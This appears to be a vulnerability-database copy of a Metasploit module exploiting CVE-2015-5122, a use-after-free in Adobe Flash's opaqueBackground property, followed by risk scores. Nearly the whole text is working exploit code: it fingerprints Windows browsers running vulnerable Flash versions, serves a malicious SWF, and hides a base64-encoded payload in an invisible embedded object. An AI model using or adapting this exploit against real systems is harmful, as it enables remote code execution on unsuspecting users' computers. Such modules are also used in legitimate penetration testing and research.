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Adobe Flash - opaqueBackground Use-After-Free (Metasploit)
10
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash opaqueBackground Use After Free',
'Description' => %q{
This module exploits an use after free on Adobe Flash Player. The vulnerability,
discovered by Hacking Team and made public on its July 2015 data leak, was
described as an Use After Free while handling the opaqueBackground property
7 setter of the flash.display.DisplayObject class. This module is an early release
tested on:
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203,
Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194,
windows 8.1, Firefox and Adobe Flash 18.0.0.203,
Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and
Windows 8.1, Firefox and Adobe Flash 18.0.0.194
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovered on HackingTeam info leak
'juan vazquez', # Ported to Msf
'sinn3r' # Testing and some editing
],
'References' =>
[
['CVE', '2015-5122'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 06 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
print_warning("Target setup not supported")
send_not_found(cli)
return
end
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
endData
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13 Jul 2015 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 3.17.8 - 9.8
CVSS 210
EPSS0.92698
SSVC